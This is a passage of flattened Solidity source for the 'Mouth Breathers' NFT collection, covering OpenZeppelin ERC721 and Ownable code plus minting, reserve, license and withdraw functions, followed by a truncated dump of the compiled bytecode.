event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } //The biggest mouths on the blockchain! //Mouth Breathers are 10,000 fish generated from 75 traits and a variety of colors. //The supply and price ensure that Mouth Breathers is an accessible generative project to all. //Go ahead and mint one...or two...or twenty, the price is unbeatable! //WARNING: they may get mouthy with you. // TEAM //artist/dev/publciity - @THEFISHERY2 (twitter) //mouth breathers page - @MOUTHBREATHERS0 (twitter) pragma solidity >=0.6.2 <0.8.0; pragma abicoder v2; contract MouthBreathers is ERC721, Ownable { using SafeMath for uint256; string public LICENSE_TEXT = ""; // IT IS WHAT IT SAYS bool licenseLocked = false; // TEAM CAN'T EDIT THE LICENSE AFTER THIS GETS TRUE uint256 public constant mouthBreatherPrice = 10000000000000000; // 0.01 ETH uint public constant maxMouthBreatherPurchase = 20; uint256 public constant MAX_MOUTHBREATHERS = 10000; bool public saleIsActive = false; // Reserve 20 Mouth Breathers for team - Giveaways/gifts/personal MBs uint public mouthBreatherReserve = 20; event licenseisLocked(string _licenseText); constructor() ERC721("Mouth Breathers", "MBs") { } function withdraw() public onlyOwner { uint balance = address(this).balance; msg.sender.transfer(balance); } function reserveMouthBreathers(address _to, uint256 _reserveAmount) public onlyOwner { uint supply = totalSupply(); require(_reserveAmount > 0 && _reserveAmount <= mouthBreatherReserve, "Not enough reserve left for team"); for (uint i = 0; i < _reserveAmount; i++) { _safeMint(_to, supply + i); } mouthBreatherReserve = mouthBreatherReserve.sub(_reserveAmount); } function setBaseURI(string memory baseURI) public onlyOwner { _setBaseURI(baseURI); } function flipSaleState() public onlyOwner { saleIsActive = !saleIsActive; } function tokensOfOwner(address _owner) external view returns(uint256[] memory ) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 index; for (index = 0; index < tokenCount; index++) { result[index] = tokenOfOwnerByIndex(_owner, index); } return result; } } // Returns the license for tokens function tokenLicense(uint _id) public view returns(string memory) { require(_id < totalSupply(), "CHOOSE A MOUTH BREATHER WITHIN RANGE"); return LICENSE_TEXT; } // Locks the license to prevent further changes function lockLicense() public onlyOwner { licenseLocked = true; emit licenseisLocked(LICENSE_TEXT); } // Change the license function changeLicense(string memory _license) public onlyOwner { require(licenseLocked == false, "License already locked"); LICENSE_TEXT = _license; } function mintMouthBreather(uint numberOfTokens) public payable { require(saleIsActive, "Sale must be active to mint Mouth Breather"); require(numberOfTokens > 0 && numberOfTokens <= maxMouthBreatherPurchase, "Can only mint 20 tokens at a time"); require(totalSupply().add(numberOfTokens) <= MAX_MOUTHBREATHERS, "Purchase would exceed max supply of Mouth Breathers"); require(msg.value >= mouthBreatherPrice.mul(numberOfTokens), "Ether value sent is not correct"); for(uint i = 0; i < numberOfTokens; i++) { uint mintIndex = totalSupply(); if (totalSupply() < MAX_MOUTHBREATHERS) { _safeMint(msg.sender, mintIndex); } } } }
0x6080604052600436106102045760003560e01c80636c0360eb11610118578063b09904b5116100a0578063c8c212cc1161006f578063c8c212cc14610743578063d9b137b21461075f578063e985e9c51461079c578063eb8d2444146107d9578063f2fde38b1461080457610204565b8063b09904b51461069d578063b88d4fde146106c6578063bf4702fc146106ef578063c87b56dd1461070657610204565b80638da5cb5b116100e75780638da5cb5b146105ca57806395d89b41146105f557806398cadec5146106205780639c3e72bd14610649578063a22cb4651461067457610204565b80636c0360eb1461050e57806370a0823114610539578063715018a6146105765780638462151c1461058d57610204565b80632f745c591161019b5780633e3431741161016a5780633e3431741461041757806342842e0e146104425780634f6ccce71461046b57806355f804b3146104a85780636352211e146104d157610204565b80632f745c591461038157806334918dfd146103be5780633b996e8c146103d55780633ccfd60b1461040057610204565b8063095ea7b3116101d7578063095ea7b3146102d9578063164452d91461030257806318160ddd1461032d57806323b872dd1461035857610204565b806301eca2eb1461020957806301ffc9a71461023457806306fdde0314610271578063081812fc1461029c575b600080fd5b34801561021557600080fd5b5061021e61082d565b60405161022b919061446b565b60405180910390f35b34801561024057600080fd5b5061025b600480360381019061025691906132c5565b610832565b604051610268919061406c565b60405180910390f35b34801561027d57600080fd5b50610286610899565b6040516102939190614087565b60405180910390f35b3480156102a857600080fd5b506102c360048036038101906102be9190613358565b61093b565b6040516102d09190613fe3565b60405180910390f35b3480156102e557600080fd5b5061030060048036038101906102fb9190613289565b6109c0565b005b34801561030e57600080fd5b50610317610ad8565b604051610324919061446b565b60405180910390f35b34801561033957600080fd5b50610342610ade565b60405161034f919061446b565b60405180910390f35b34801561036457600080fd5b5061037f600480360381019061037a9190613183565b610aef565b005b34801561038d57600080fd5b506103a860048036038101906103a39190613289565b610b4f565b6040516103b5919061446b565b60405180910390f35b3480156103ca57600080fd5b506103d3610baa565b005b3480156103e157600080fd5b506103ea610c52565b6040516103f7919061446b565b60405180910390f35b34801561040c57600080fd5b50610415610c58565b005b34801561042357600080fd5b5061042c610d23565b604051610439919061446b565b60405180910390f35b34801561044e57600080fd5b5061046960048036038101906104649190613183565b610d2e565b005b34801561047757600080fd5b50610492600480360381019061048d9190613358565b610d4e565b60405161049f919061446b565b60405180910390f35b3480156104b457600080fd5b506104cf60048036038101906104ca9190613317565b610d71565b005b3480156104dd57600080fd5b506104f860048036038101906104f39190613358565b610df9565b6040516105059190613fe3565b60405180910390f35b34801561051a57600080fd5b50610523610e30565b6040516105309190614087565b60405180910390f35b34801561054557600080fd5b50610560600480360381019061055b919061311e565b610ed2565b60405161056d919061446b565b60405180910390f35b34801561058257600080fd5b5061058b610f91565b005b34801561059957600080fd5b506105b460048036038101906105af919061311e565b6110ce565b6040516105c1919061404a565b60405180910390f35b3480156105d657600080fd5b506105df6111c7565b6040516105ec9190613fe3565b60405180910390f35b34801561060157600080fd5b5061060a6111f1565b6040516106179190614087565b60405180910390f35b34801561062c57600080fd5b5061064760048036038101906106429190613289565b611293565b005b34801561065557600080fd5b5061065e6113b1565b60405161066b9190614087565b60405180910390f35b34801561068057600080fd5b5061069b6004803603810190610696919061324d565b61144f565b005b3480156106a957600080fd5b506106c460048036038101906106bf9190613317565b6115d0565b005b3480156106d257600080fd5b506106ed60048036038101906106e891906131d2565b6116bc565b005b3480156106fb57600080fd5b5061070461171e565b005b34801561071257600080fd5b5061072d60048036038101906107289190613358565b6117ef565b60405161073a9190614087565b60405180910390f35b61075d60048036038101906107589190613358565b611972565b005b34801561076b57600080fd5b5061078660048036038101906107819190613358565b611b10565b6040516107939190614087565b60405180910390f35b3480156107a857600080fd5b506107c360048036038101906107be9190613147565b611bfd565b6040516107d0919061406c565b60405180910390f35b3480156107e557600080fd5b506107ee611c91565b6040516107fb919061406c565b60405180910390f35b34801561081057600080fd5b5061082b6004803603810190610826919061311e565b611ca4565b005b601481565b6000806000837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900460ff169050919050565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109315780601f1061090657610100808354040283529160200191610931565b820191906000526020600020905b81548152906001019060200180831161091457829003601f168201915b5050505050905090565b600061094682611e50565b610985576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097c9061430b565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60006109cb82610df9565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a339061438b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610a5b611e6d565b73ffffffffffffffffffffffffffffffffffffffff161480610a8a5750610a8981610a84611e6d565b611bfd565b5b610ac9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac09061426b565b60405180910390fd5b610ad38383611e75565b505050565b600d5481565b6000610aea6002611f2e565b905090565b610b00610afa611e6d565b82611f43565b610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b369061440b565b60405180910390fd5b610b4a838383612021565b505050565b6000610ba282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061223890919063ffffffff16565b905092915050565b610bb2611e6d565b73ffffffffffffffffffffffffffffffffffffffff16610bd06111c7565b73ffffffffffffffffffffffffffffffffffffffff1614610c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1d9061432b565b60405180910390fd5b600c60019054906101000a900460ff1615600c60016101000a81548160ff021916908315150217905550565b61271081565b610c60611e6d565b73ffffffffffffffffffffffffffffffffffffffff16610c7e6111c7565b73ffffffffffffffffffffffffffffffffffffffff1614610cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccb9061432b565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610d1f573d6000803e3d6000fd5b5050565b662386f26fc1000081565b610d49838383604051806020016040528060008152506116bc565b505050565b600080610d6583600261225290919063ffffffff16565b50905080915050919050565b610d79611e6d565b73ffffffffffffffffffffffffffffffffffffffff16610d976111c7565b73ffffffffffffffffffffffffffffffffffffffff1614610ded576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de49061432b565b60405180910390fd5b610df68161227e565b50565b6000610e298260405180606001604052806029815260200161470b6029913960026122989092919063ffffffff16565b9050919050565b606060098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ec85780601f10610e9d57610100808354040283529160200191610ec8565b820191906000526020600020905b815481529060010190602001808311610eab57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3a9061428b565b60405180910390fd5b610f8a600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206122b7565b9050919050565b610f99611e6d565b73ffffffffffffffffffffffffffffffffffffffff16610fb76111c7565b73ffffffffffffffffffffffffffffffffffffffff161461100d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110049061432b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060006110db83610ed2565b9050600081141561113657600067ffffffffffffffff811180156110fe57600080fd5b5060405190808252806020026020018201604052801561112d5781602001602082028036833780820191505090505b509150506111c2565b60008167ffffffffffffffff8111801561114f57600080fd5b5060405190808252806020026020018201604052801561117e5781602001602082028036833780820191505090505b50905060005b828110156111bb576111968582610b4f565b8282815181106111a257fe5b6020026020010181815250508080600101915050611184565b8193505050505b919050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112895780601f1061125e57610100808354040283529160200191611289565b820191906000526020600020905b81548152906001019060200180831161126c57829003601f168201915b5050505050905090565b61129b611e6d565b73ffffffffffffffffffffffffffffffffffffffff166112b96111c7565b73ffffffffffffffffffffffffffffffffffffffff161461130f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113069061432b565b60405180910390fd5b6000611319610ade565b905060008211801561132d5750600d548211155b61136c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113639061416b565b60405180910390fd5b60005b8281101561139057611383848284016122cc565b808060010191505061136f565b506113a682600d546122ea90919063ffffffff16565b600d81905550505050565b600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114475780601f1061141c57610100808354040283529160200191611447565b820191906000526020600020905b81548152906001019060200180831161142a57829003601f168201915b505050505081565b611457611e6d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bc906141ab565b60405180910390fd5b80600560006114d2611e6d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff1661157f611e6d565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516115c4919061406c565b60405180910390a35050565b6115d8611e6d565b73ffffffffffffffffffffffffffffffffffffffff166115f66111c7565b73ffffffffffffffffffffffffffffffffffffffff161461164c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116439061432b565b60405180910390fd5b60001515600c60009054906101000a900460ff161515146116a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611699906143eb565b60405180910390fd5b80600b90805190602001906116b8929190612f3a565b5050565b6116cd6116c7611e6d565b83611f43565b61170c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117039061440b565b60405180910390fd5b6117188484848461233a565b50505050565b611726611e6d565b73ffffffffffffffffffffffffffffffffffffffff166117446111c7565b73ffffffffffffffffffffffffffffffffffffffff161461179a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117919061432b565b60405180910390fd5b6001600c60006101000a81548160ff0219169083151502179055507f92423ccd40e13759d50d24569dcbaccb20ade47247f3cf3e3951a9f29d2048b0600b6040516117e591906140a9565b60405180910390a1565b60606117fa82611e50565b611839576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118309061436b565b60405180910390fd5b6000600860008481526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118e25780601f106118b7576101008083540402835291602001916118e2565b820191906000526020600020905b8154815290600101906020018083116118c557829003601f168201915b5050505050905060006118f3610e30565b905060008151141561190957819250505061196d565b60008251111561193e578082604051602001611926929190613fbf565b6040516020818303038152906040529250505061196d565b8061194885612396565b604051602001611959929190613fbf565b604051602081830303815290604052925050505b919050565b600c60019054906101000a900460ff166119c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b8906143cb565b60405180910390fd5b6000811180156119d2575060148111155b611a11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a089061424b565b60405180910390fd5b612710611a2e82611a20610ade565b6124dd90919063ffffffff16565b1115611a6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a66906143ab565b60405180910390fd5b611a8981662386f26fc1000061253290919063ffffffff16565b341015611acb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac2906141cb565b60405180910390fd5b60005b81811015611b0c576000611ae0610ade565b9050612710611aed610ade565b1015611afe57611afd33826122cc565b5b508080600101915050611ace565b5050565b6060611b1a610ade565b8210611b5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b529061444b565b60405180910390fd5b600b8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611bf15780601f10611bc657610100808354040283529160200191611bf1565b820191906000526020600020905b815481529060010190602001808311611bd457829003601f168201915b50505050509050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600c60019054906101000a900460ff1681565b611cac611e6d565b73ffffffffffffffffffffffffffffffffffffffff16611cca6111c7565b73ffffffffffffffffffffffffffffffffffffffff1614611d20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d179061432b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611d90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d879061410b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000611e668260026125a290919063ffffffff16565b9050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611ee883610df9565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611f3c826000016125bc565b9050919050565b6000611f4e82611e50565b611f8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f849061422b565b60405180910390fd5b6000611f9883610df9565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061200757508373ffffffffffffffffffffffffffffffffffffffff16611fef8461093b565b73ffffffffffffffffffffffffffffffffffffffff16145b8061201857506120178185611bfd565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff1661204182610df9565b73ffffffffffffffffffffffffffffffffffffffff1614612097576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208e9061434b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612107576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120fe9061418b565b60405180910390fd5b6121128383836125cd565b61211d600082611e75565b61216e81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206125d290919063ffffffff16565b506121c081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206125ec90919063ffffffff16565b506121d7818360026126069092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000612247836000018361263b565b60001c905092915050565b60008060008061226586600001866126a8565b915091508160001c8160001c9350935050509250929050565b8060099080519060200190612294929190612f3a565b5050565b60006122ab846000018460001b8461272b565b60001c90509392505050565b60006122c5826000016127bc565b9050919050565b6122e68282604051806020016040528060008152506127cd565b5050565b60008282111561232f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612326906141eb565b60405180910390fd5b818303905092915050565b612345848484612021565b61235184848484612828565b612390576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612387906140eb565b60405180910390fd5b50505050565b606060008214156123de576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506124d8565b600082905060005b60008214612408578080600101915050600a828161240057fe5b0491506123e6565b60008167ffffffffffffffff8111801561242157600080fd5b506040519080825280601f01601f1916602001820160405280156124545781602001600182028036833780820191505090505b50905060006001830390508593505b600084146124d057600a848161247557fe5b0660300160f81b8282806001900393508151811061248f57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a84816124c857fe5b049350612463565b819450505050505b919050565b600080828401905083811015612528576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251f9061414b565b60405180910390fd5b8091505092915050565b600080831415612545576000905061259c565b600082840290508284828161255657fe5b0414612597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258e906142eb565b60405180910390fd5b809150505b92915050565b60006125b4836000018360001b61298c565b905092915050565b600081600001805490509050919050565b505050565b60006125e4836000018360001b6129af565b905092915050565b60006125fe836000018360001b612a97565b905092915050565b6000612632846000018460001b8473ffffffffffffffffffffffffffffffffffffffff1660001b612b07565b90509392505050565b600081836000018054905011612686576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267d906140cb565b60405180910390fd5b82600001828154811061269557fe5b9060005260206000200154905092915050565b600080828460000180549050116126f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126eb906142ab565b60405180910390fd5b600084600001848154811061270557fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b6000808460010160008581526020019081526020016000205490506000811415839061278d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127849190614087565b60405180910390fd5b508460000160018203815481106127a057fe5b9060005260206000209060020201600101549150509392505050565b600081600001805490509050919050565b6127d78383612be3565b6127e46000848484612828565b612823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161281a906140eb565b60405180910390fd5b505050565b60006128498473ffffffffffffffffffffffffffffffffffffffff16612d71565b6128565760019050612984565b600061291d63150b7a0260e01b61286b611e6d565b8887876040516024016128819493929190613ffe565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518060600160405280603281526020016146d9603291398773ffffffffffffffffffffffffffffffffffffffff16612d849092919063ffffffff16565b905060008180602001905181019061293591906132ee565b905063150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614925050505b949350505050565b600080836001016000848152602001908152602001600020541415905092915050565b60008083600101600084815260200190815260200160002054905060008114612a8b57600060018203905060006001866000018054905003905060008660000182815481106129fa57fe5b9060005260206000200154905080876000018481548110612a1757fe5b9060005260206000200181905550600183018760010160008381526020019081526020016000208190555086600001805480612a4f57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612a91565b60009150505b92915050565b6000612aa38383612d9c565b612afc578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050612b01565b600090505b92915050565b6000808460010160008581526020019081526020016000205490506000811415612bae57846000016040518060400160405280868152602001858152509080600181540180825580915050600190039060005260206000209060020201600090919091909150600082015181600001556020820151816001015550508460000180549050856001016000868152602001908152602001600020819055506001915050612bdc565b82856000016001830381548110612bc157fe5b90600052602060002090600202016001018190555060009150505b9392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612c53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c4a906142cb565b60405180910390fd5b612c5c81611e50565b15612c9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c939061412b565b60405180910390fd5b612ca8600083836125cd565b612cf981600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206125ec90919063ffffffff16565b50612d10818360026126069092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b6060612d938484600085612dbf565b90509392505050565b600080836001016000848152602001908152602001600020541415905092915050565b606082471015612e04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dfb9061420b565b60405180910390fd5b612e0d85612d71565b612e4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e439061442b565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff168587604051612e759190613fa8565b60006040518083038185875af1925050503d8060008114612eb2576040519150601f19603f3d011682016040523d82523d6000602084013e612eb7565b606091505b5091509150612ec7828286612ed3565b92505050949350505050565b60608315612ee357829050612f33565b600083511115612ef65782518084602001fd5b816040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f2a9190614087565b60405180910390fd5b9392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282612f705760008555612fb7565b82601f10612f8957805160ff1916838001178555612fb7565b82800160010185558215612fb7579182015b82811115612fb6578251825591602001919060010190612f9b565b5b509050612fc49190612fc8565b5090565b5b80821115612fe1576000816000905550600101612fc9565b5090565b6000612ff8612ff3846144b7565b614486565b90508281526020810184848401111561301057600080fd5b61301b848285614627565b509392505050565b6000613036613031846144e7565b614486565b90508281526020810184848401111561304e57600080fd5b613059848285614627565b509392505050565b6000813590506130708161467c565b92915050565b60008135905061308581614693565b92915050565b60008135905061309